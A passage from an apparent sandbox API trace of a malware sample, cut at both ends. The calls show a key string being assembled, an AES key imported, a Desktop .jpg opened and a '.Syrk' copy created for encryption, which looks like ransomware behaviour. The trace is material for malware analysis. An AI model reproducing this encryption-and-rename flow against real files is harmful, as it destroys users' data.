Memory=0x5c640ac, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x5c640ac) returned 0x0 [0195.550] SysStringLen (param_1="NDZlODRmYzNlYTJhMDFl멷嘇ꚺ") returned 0x18 [0195.550] SystemFunction040 (in: Memory=0x5c640ac, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x5c640ac) returned 0x0 [0195.550] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴ራ䃳ꂺⱿ쑪") returned 0x18 [0195.551] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴ራ䃳ꂺⱿ쑪") returned 0x18 [0195.551] SystemFunction041 (in: Memory=0x5c640ac, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x5c640ac) returned 0x0 [0195.551] SysStringLen (param_1="NDZlODRmYzNlYTJhMDFlM嘇ꚺ") returned 0x18 [0195.551] SystemFunction040 (in: Memory=0x5c640ac, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x5c640ac) returned 0x0 [0195.551] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴䉌龢ʦ樞䍳ሐṪ") returned 0x18 [0195.551] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴䉌龢ʦ樞䍳ሐṪ") returned 0x18 [0195.551] SystemFunction041 (in: Memory=0x5c640ac, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x5c640ac) returned 0x0 [0195.551] SysStringLen (param_1="NDZlODRmYzNlYTJhMDFlMTꚺ") returned 0x18 [0195.551] SystemFunction040 (in: Memory=0x5c640ac, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x5c640ac) returned 0x0 [0195.551] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴⭝\⻚﻾沞쀩饒⋐) returned 0x18 [0195.552] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴⭝\⻚﻾沞쀩饒⋐) returned 0x18 [0195.552] SystemFunction041 (in: Memory=0x5c640ac, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x5c640ac) returned 0x0 [0195.552] SysStringLen (param_1="NDZlODRmYzNlYTJhMDFlMTU") returned 0x18 [0195.552] SystemFunction040 (in: Memory=0x5c640ac, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x5c640ac) returned 0x0 [0195.552] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴ꗛ⾪蒷᪻릿ู찲鞃") returned 0x18 [0195.552] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴ꗛ⾪蒷᪻릿ู찲鞃") returned 0x18 [0195.552] SystemFunction041 (in: Memory=0x5c640ac, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x5c640ac) returned 0x0 [0195.552] SysStringLen (param_1="NDZlODRmYzNlYTJhMDFlMTUw") returned 0x18 [0195.552] SystemFunction040 (in: Memory=0x5c640ac, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x5c640ac) returned 0x0 [0195.553] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲") returned 0x18 [0195.553] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲") returned 0x18 [0195.553] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲") returned 0x18 [0195.553] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲") returned 0x20 [0195.553] SystemFunction041 (in: Memory=0x32ce8c, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x32ce8c) returned 0x0 [0195.553] SysStringLen (param_1="NDZlODRmYzNlYTJhMDFlMTUwZㄵ㋛仄杫ℂ︸饉") returned 0x20 [0195.553] SystemFunction040 (in: Memory=0x32ce8c, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x32ce8c) returned 0x0 [0195.554] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲铩퀩峹闓郮\⋛) returned 0x20 [0195.554] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲铩퀩峹闓郮\⋛) returned 0x20 [0195.554] SystemFunction041 (in: Memory=0x32ce8c, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x32ce8c) returned 0x0 [0195.554] SysStringLen (param_1="NDZlODRmYzNlYTJhMDFlMTUwZD㋛仄杫ℂ︸饉") returned 0x20 [0195.554] SystemFunction040 (in: Memory=0x32ce8c, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x32ce8c) returned 0x0 [0195.554] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲ᤓ⭤釋径ẖ") returned 0x20 [0195.554] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲ᤓ⭤釋径ẖ") returned 0x20 [0195.554] SystemFunction041 (in: Memory=0x32ce8c, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x32ce8c) returned 0x0 [0195.555] SysStringLen (param_1="NDZlODRmYzNlYTJhMDFlMTUwZDE仄杫ℂ︸饉") returned 0x20 [0195.555] SystemFunction040 (in: Memory=0x32ce8c, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x32ce8c) returned 0x0 [0195.555] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲俫箙덵ꀓ솑ￛ罺኿") returned 0x20 [0195.555] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲俫箙덵ꀓ솑ￛ罺኿") returned 0x20 [0195.555] SystemFunction041 (in: Memory=0x32ce8c, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x32ce8c) returned 0x0 [0195.555] SysStringLen (param_1="NDZlODRmYzNlYTJhMDFlMTUwZDE3杫ℂ︸饉") returned 0x20 [0195.555] SystemFunction040 (in: Memory=0x32ce8c, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x32ce8c) returned 0x0 [0195.555] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲复⿉ﵺ彺㇍㞇㑜岔") returned 0x20 [0195.555] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲复⿉ﵺ彺㇍㞇㑜岔") returned 0x20 [0195.555] SystemFunction041 (in: Memory=0x32ce8c, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x32ce8c) returned 0x0 [0195.556] SysStringLen (param_1="NDZlODRmYzNlYTJhMDFlMTUwZDE3Yℂ︸饉") returned 0x20 [0195.556] SystemFunction040 (in: Memory=0x32ce8c, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x32ce8c) returned 0x0 [0195.556] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲⸸䟷ᖃח⡙\꽉⊏) returned 0x20 [0195.556] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲⸸䟷ᖃח⡙\꽉⊏) returned 0x20 [0195.556] SystemFunction041 (in: Memory=0x32ce8c, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x32ce8c) returned 0x0 [0195.556] SysStringLen (param_1="NDZlODRmYzNlYTJhMDFlMTUwZDE3Yz︸饉") returned 0x20 [0195.556] SystemFunction040 (in: Memory=0x32ce8c, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x32ce8c) returned 0x0 [0195.556] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲樝䎄㋬竵⭕쾫챶") returned 0x20 [0195.556] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲樝䎄㋬竵⭕쾫챶") returned 0x20 [0195.556] SystemFunction041 (in: Memory=0x32ce8c, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x32ce8c) returned 0x0 [0195.557] SysStringLen (param_1="NDZlODRmYzNlYTJhMDFlMTUwZDE3Yzd饉") returned 0x20 [0195.557] SystemFunction040 (in: Memory=0x32ce8c, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x32ce8c) returned 0x0 [0195.557] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲虜偤쎛犜ᔴ") returned 0x20 [0195.557] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲虜偤쎛犜ᔴ") returned 0x20 [0195.557] SystemFunction041 (in: Memory=0x32ce8c, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x32ce8c) returned 0x0 [0195.557] SysStringLen (param_1="NDZlODRmYzNlYTJhMDFlMTUwZDE3Yzdi") returned 0x20 [0195.557] SystemFunction040 (in: Memory=0x32ce8c, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x32ce8c) returned 0x0 [0195.559] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲惢ퟮ幞\닙≶ӸᲖ≡) returned 0x20 [0195.560] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲惢ퟮ幞\닙≶ӸᲖ≡) returned 0x20 [0195.560] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲惢ퟮ幞\닙≶ӸᲖ≡) returned 0x20 [0195.560] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲惢ퟮ幞\닙≶ӸᲖ≡) returned 0x28 [0195.560] SystemFunction041 (in: Memory=0x3711c4, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x3711c4) returned 0x0 [0195.560] SysStringLen (param_1="NDZlODRmYzNlYTJhMDFlMTUwZDE3YzdiM⤷挠ﵝ九갧") returned 0x28 [0195.560] SystemFunction040 (in: Memory=0x3711c4, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x3711c4) returned 0x0 [0195.560] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲惢ퟮ幞\닙≶ӸᲖ♡ஊ픞딱ǭ譑∠) returned 0x28 [0195.560] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲惢ퟮ幞\닙≶ӸᲖ♡ஊ픞딱ǭ譑∠) returned 0x28 [0195.560] SystemFunction041 (in: Memory=0x3711c4, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x3711c4) returned 0x0 [0195.561] SysStringLen (param_1="NDZlODRmYzNlYTJhMDFlMTUwZDE3YzdiMm⤷挠ﵝ九갧") returned 0x28 [0195.561] SystemFunction040 (in: Memory=0x3711c4, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x3711c4) returned 0x0 [0195.561] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲惢ퟮ幞\닙≶ӸᲖ⩡ඈ鐅䦌㫣噬㯥익∈) returned 0x28 [0195.561] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲惢ퟮ幞\닙≶ӸᲖ⩡ඈ鐅䦌㫣噬㯥익∈) returned 0x28 [0195.561] SystemFunction041 (in: Memory=0x3711c4, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x3711c4) returned 0x0 [0195.561] SysStringLen (param_1="NDZlODRmYzNlYTJhMDFlMTUwZDE3YzdiMmQ挠ﵝ九갧") returned 0x28 [0195.561] SystemFunction040 (in: Memory=0x3711c4, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x3711c4) returned 0x0 [0195.561] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲惢ퟮ幞\닙≶ӸᲖꛆ᪴洎榃䑝衬㟠⋁) returned 0x28 [0195.561] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲惢ퟮ幞\닙≶ӸᲖꛆ᪴洎榃䑝衬㟠⋁) returned 0x28 [0195.561] SystemFunction041 (in: Memory=0x3711c4, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x3711c4) returned 0x0 [0195.562] SysStringLen (param_1="NDZlODRmYzNlYTJhMDFlMTUwZDE3YzdiMmQzﵝ九갧") returned 0x28 [0195.562] SystemFunction040 (in: Memory=0x3711c4, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x3711c4) returned 0x0 [0195.562] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲惢ퟮ幞\닙≶ӸᲖ끡Ẉఽ笏ᱚ븓蟳ﯘ∻) returned 0x28 [0195.562] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲惢ퟮ幞\닙≶ӸᲖ끡Ẉఽ笏ᱚ븓蟳ﯘ∻) returned 0x28 [0195.562] SystemFunction041 (in: Memory=0x3711c4, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x3711c4) returned 0x0 [0195.562] SysStringLen (param_1="NDZlODRmYzNlYTJhMDFlMTUwZDE3YzdiMmQzN九갧") returned 0x28 [0195.562] SystemFunction040 (in: Memory=0x3711c4, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x3711c4) returned 0x0 [0195.562] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲惢ퟮ幞\닙≶ӸᲖ艡⸇햃ᔼ饰驌∖) returned 0x28 [0195.562] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲惢ퟮ幞\닙≶ӸᲖ艡⸇햃ᔼ饰驌∖) returned 0x28 [0195.562] SystemFunction041 (in: Memory=0x3711c4, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x3711c4) returned 0x0 [0195.563] SysStringLen (param_1="NDZlODRmYzNlYTJhMDFlMTUwZDE3YzdiMmQzN2갧") returned 0x28 [0195.563] SystemFunction040 (in: Memory=0x3711c4, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x3711c4) returned 0x0 [0195.563] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲惢ퟮ幞\닙≶ӸᲖ顡㼙몺䰅▍鄗軑⊨) returned 0x28 [0195.563] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲惢ퟮ幞\닙≶ӸᲖ顡㼙몺䰅▍鄗軑⊨) returned 0x28 [0195.563] SystemFunction041 (in: Memory=0x3711c4, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x3711c4) returned 0x0 [0195.563] SysStringLen (param_1="NDZlODRmYzNlYTJhMDFlMTUwZDE3YzdiMmQzN2J갧") returned 0x28 [0195.563] SystemFunction040 (in: Memory=0x3711c4, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x3711c4) returned 0x0 [0195.563] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲惢ퟮ幞\닙≶ӸᲖ띡랡ꚠ馋酅汪∘) returned 0x28 [0195.563] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲惢ퟮ幞\닙≶ӸᲖ띡랡ꚠ馋酅汪∘) returned 0x28 [0195.563] SystemFunction041 (in: Memory=0x3711c4, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x3711c4) returned 0x0 [0195.564] SysStringLen (param_1="NDZlODRmYzNlYTJhMDFlMTUwZDE3YzdiMmQzN2Jh") returned 0x28 [0195.564] SystemFunction040 (in: Memory=0x3711c4, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x3711c4) returned 0x0 [0195.564] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲惢ퟮ幞\닙≶ӸᲖ䡡㢞碄퀷錮製∍) returned 0x28 [0195.564] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲惢ퟮ幞\닙≶ӸᲖ䡡㢞碄퀷錮製∍) returned 0x28 [0195.564] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲惢ퟮ幞\닙≶ӸᲖ䡡㢞碄퀷錮製∍) returned 0x28 [0195.564] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲惢ퟮ幞\닙≶ӸᲖ䡡㢞碄퀷錮製∍) returned 0x30 [0195.564] SystemFunction041 (in: Memory=0x3da594, MemorySize=0x60, OptionFlags=0x0 | out: Memory=0x3da594) returned 0x0 [0195.565] SysStringLen (param_1="NDZlODRmYzNlYTJhMDFlMTUwZDE3YzdiMmQzN2JhN셳㻶벗颯軠삳") returned 0x30 [0195.565] SystemFunction040 (in: Memory=0x3da594, MemorySize=0x60, OptionFlags=0x0 | out: Memory=0x3da594) returned 0x0 [0195.565] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲惢ퟮ幞\닙≶ӸᲖ䡡㢞碄퀷錮製昍仼먻표䥥芁鼶≙) returned 0x30 [0195.565] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲惢ퟮ幞\닙≶ӸᲖ䡡㢞碄퀷錮製昍仼먻표䥥芁鼶≙) returned 0x30 [0195.565] SystemFunction041 (in: Memory=0x3da594, MemorySize=0x60, OptionFlags=0x0 | out: Memory=0x3da594) returned 0x0 [0195.565] SysStringLen (param_1="NDZlODRmYzNlYTJhMDFlMTUwZDE3YzdiMmQzN2JhN2㻶벗颯軠삳") returned 0x30 [0195.565] SystemFunction040 (in: Memory=0x3da594, MemorySize=0x60, OptionFlags=0x0 | out: Memory=0x3da594) returned 0x0 [0195.565] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲惢ퟮ幞\닙≶ӸᲖ䡡㢞碄퀷錮製儍\䥒쿲\쫛⊠) returned 0x30 [0195.565] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲惢ퟮ幞\닙≶ӸᲖ䡡㢞碄퀷錮製儍\䥒쿲\쫛⊠) returned 0x30 [0195.565] SystemFunction041 (in: Memory=0x3da594, MemorySize=0x60, OptionFlags=0x0 | out: Memory=0x3da594) returned 0x0 [0195.566] SysStringLen (param_1="NDZlODRmYzNlYTJhMDFlMTUwZDE3YzdiMmQzN2JhN2Q㻶벗颯軠삳") returned 0x30 [0195.566] SystemFunction040 (in: Memory=0x3da594, MemorySize=0x60, OptionFlags=0x0 | out: Memory=0x3da594) returned 0x0 [0195.566] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲惢ퟮ幞\닙≶ӸᲖ䡡㢞碄퀷錮製꼍裴챞䫱鑚ꖸ⊽) returned 0x30 [0195.566] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲惢ퟮ幞\닙≶ӸᲖ䡡㢞碄퀷錮製꼍裴챞䫱鑚ꖸ⊽) returned 0x30 [0195.566] SystemFunction041 (in: Memory=0x3da594, MemorySize=0x60, OptionFlags=0x0 | out: Memory=0x3da594) returned 0x0 [0195.566] SysStringLen (param_1="NDZlODRmYzNlYTJhMDFlMTUwZDE3YzdiMmQzN2JhN2Q=벗颯軠삳") returned 0x30 [0195.566] SystemFunction040 (in: Memory=0x3da594, MemorySize=0x60, OptionFlags=0x0 | out: Memory=0x3da594) returned 0x0 [0195.566] EtwEventActivityIdControl () returned 0x0 [0195.567] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲惢ퟮ幞\닙≶ӸᲖ䡡㢞碄퀷錮製⼍ႅ⳦㴴Ɉ꭮∇) returned 0x30 [0195.567] SystemFunction041 (in: Memory=0x3da594, MemorySize=0x60, OptionFlags=0x0 | out: Memory=0x3da594) returned 0x0 [0195.567] SysStringLen (param_1="NDZlODRmYzNlYTJhMDFlMTUwZDE3YzdiMmQzN2JhN2Q=벗颯軠삳") returned 0x30 [0195.567] SystemFunction040 (in: Memory=0x3da594, MemorySize=0x60, OptionFlags=0x0 | out: Memory=0x3da594) returned 0x0 [0195.569] CryptAcquireContextW (in: phProv=0x5a2e660, szContainer=0x0, szProvider="Microsoft Enhanced RSA and AES Cryptographic Provider", dwProvType=0x18, dwFlags=0xf0000000 | out: phProv=0x5a2e660*=0x5c4cdd0) returned 1 [0195.572] CryptImportKey (in: hProv=0x5c4cdd0, pbData=0x2428c18*, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x1, phKey=0x5a2ea54 | out: phKey=0x5a2ea54*=0x5c69140) returned 1 [0195.572] CryptContextAddRef (hProv=0x5c4cdd0, pdwReserved=0x0, dwFlags=0x0) returned 1 [0195.572] GetEnvironmentVariableW (in: lpName="PSModuleAutoLoadingPreference", lpBuffer=0x5a2e7c0, nSize=0xc9 | out: lpBuffer="") returned 0x0 [0195.732] EtwEventActivityIdControl () returned 0x0 [0195.732] EtwEventActivityIdControl () returned 0x0 [0195.732] EtwEventActivityIdControl () returned 0x0 [0195.740] GetFileAttributesW (lpFileName="C:\\Users\\kEecfMwgj\\Desktop\\M3w-Q0RZrFUkL\\ztjhWWR6z7cU6mtRPN.jpg" (normalized: "c:\\users\\keecfmwgj\\desktop\\m3w-q0rzrfukl\\ztjhwwr6z7cu6mtrpn.jpg")) returned 0x20 [0195.742] GetFileAttributesW (lpFileName="C:\\Users\\kEecfMwgj\\Desktop\\M3w-Q0RZrFUkL\\ztjhWWR6z7cU6mtRPN.jpg" (normalized: "c:\\users\\keecfmwgj\\desktop\\m3w-q0rzrfukl\\ztjhwwr6z7cu6mtrpn.jpg")) returned 0x20 [0195.742] GetFullPathNameW (in: lpFileName="C:\\Users\\kEecfMwgj\\Desktop\\M3w-Q0RZrFUkL\\ztjhWWR6z7cU6mtRPN.jpg", nBufferLength=0x0, lpBuffer=0x0, lpFilePart=0x0 | out: lpBuffer=0x0, lpFilePart=0x0) returned 0x40 [0195.742] GetFullPathNameW (in: lpFileName="C:\\Users\\kEecfMwgj\\Desktop\\M3w-Q0RZrFUkL\\ztjhWWR6z7cU6mtRPN.jpg", nBufferLength=0x40, lpBuffer=0x3e84f8, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\kEecfMwgj\\Desktop\\M3w-Q0RZrFUkL\\ztjhWWR6z7cU6mtRPN.jpg", lpFilePart=0x0) returned 0x3f [0195.743] EtwEventActivityIdControl () returned 0x0 [0195.744] GetEnvironmentVariableW (in: lpName="PSModuleAutoLoadingPreference", lpBuffer=0x5a2e608, nSize=0xc9 | out: lpBuffer="") returned 0x0 [0195.744] EtwEventActivityIdControl () returned 0x0 [0195.744] EtwEventActivityIdControl () returned 0x0 [0195.745] EtwEventActivityIdControl () returned 0x0 [0195.746] GetFullPathNameW (in: lpFileName="C:\\Users\\kEecfMwgj\\Desktop\\M3w-Q0RZrFUkL\\ztjhWWR6z7cU6mtRPN.jpg", nBufferLength=0x0, lpBuffer=0x0, lpFilePart=0x0 | out: lpBuffer=0x0, lpFilePart=0x0) returned 0x40 [0195.746] GetFullPathNameW (in: lpFileName="C:\\Users\\kEecfMwgj\\Desktop\\M3w-Q0RZrFUkL\\ztjhWWR6z7cU6mtRPN.jpg", nBufferLength=0x40, lpBuffer=0x3e84f8, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\kEecfMwgj\\Desktop\\M3w-Q0RZrFUkL\\ztjhWWR6z7cU6mtRPN.jpg", lpFilePart=0x0) returned 0x3f [0195.746] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x5a2e240) returned 1 [0195.747] CreateFileW (lpFileName="C:\\Users\\kEecfMwgj\\Desktop\\M3w-Q0RZrFUkL\\ztjhWWR6z7cU6mtRPN.jpg" (normalized: "c:\\users\\keecfmwgj\\desktop\\m3w-q0rzrfukl\\ztjhwwr6z7cu6mtrpn.jpg"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x44c [0195.747] GetFileType (hFile=0x44c) returned 0x1 [0195.747] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x5a2e23c) returned 1 [0195.747] GetFileType (hFile=0x44c) returned 0x1 [0195.747] EtwEventActivityIdControl () returned 0x0 [0195.748] GetEnvironmentVariableW (in: lpName="PSModuleAutoLoadingPreference", lpBuffer=0x5a2e608, nSize=0xc9 | out: lpBuffer="") returned 0x0 [0195.749] EtwEventActivityIdControl () returned 0x0 [0195.749] EtwEventActivityIdControl () returned 0x0 [0195.749] EtwEventActivityIdControl () returned 0x0 [0195.750] GetFullPathNameW (in: lpFileName="C:\\Users\\kEecfMwgj\\Desktop\\M3w-Q0RZrFUkL\\ztjhWWR6z7cU6mtRPN.jpg.Syrk", nBufferLength=0x0, lpBuffer=0x0, lpFilePart=0x0 | out: lpBuffer=0x0, lpFilePart=0x0) returned 0x45 [0195.750] GetFullPathNameW (in: lpFileName="C:\\Users\\kEecfMwgj\\Desktop\\M3w-Q0RZrFUkL\\ztjhWWR6z7cU6mtRPN.jpg.Syrk", nBufferLength=0x45, lpBuffer=0x3e84f8, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\kEecfMwgj\\Desktop\\M3w-Q0RZrFUkL\\ztjhWWR6z7cU6mtRPN.jpg.Syrk", lpFilePart=0x0) returned 0x44 [0195.750] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x5a2e240) returned 1 [0195.751] CreateFileW (lpFileName="C:\\Users\\kEecfMwgj\\Desktop\\M3w-Q0RZrFUkL\\ztjhWWR6z7cU6mtRPN.jpg.Syrk" (normalized: "c:\\users\\keecfmwgj\\desktop\\m3w-q0rzrfukl\\ztjhwwr6z7cu6mtrpn.jpg.syrk"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x45c [0195.756] GetFileType (hFile=0x45c) returned 0x1 [0195.756] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x5a2e23c) returned 1 [0195.756] GetFileType (hFile=0x45c) returned 0x1 [0195.756] EtwEventActivityIdControl () returned 0x0 [0195.756] CryptGenRandom (in: hProv=0x5c4cdd0, dwLen=0x10, pbBuffer=0x2440084 | out: pbBuffer=0x2440084) returned 1 [0195.757] CryptContextAddRef (hProv=0x5c4cdd0, pdwReserved=0x0, dwFlags=0x0) returned 1 [0195.758] CryptDuplicateKey (in: hKey=0x5c69140, pdwReserved=0x0, dwFlags=0x0, phKey=0x5a2ea08 | out: phKey=0x5a2ea08*=0x5c68c00) returned 1 [0195.758] CryptContextAddRef (hProv=0x5c4cdd0, pdwReserved=0x0, dwFlags=0x0) returned 1 [0195.758] CryptSetKeyParam (hKey=0x5c68c00, dwParam=0x4, pbData=0x24414e8*=0x1, dwFlags=0x0) returned 1 [0195.758] CryptSetKeyParam (hKey=0x5c68c00, dwParam=0x1, pbData=0x24414b4, dwFlags=0x0) returned 1 [0195.759] GetEnvironmentVariableW (in: lpName="PSModuleAutoLoadingPreference", lpBuffer=0x5a2e608, nSize=0xc9 | out: lpBuffer="") returned 0x0 [0195.759] 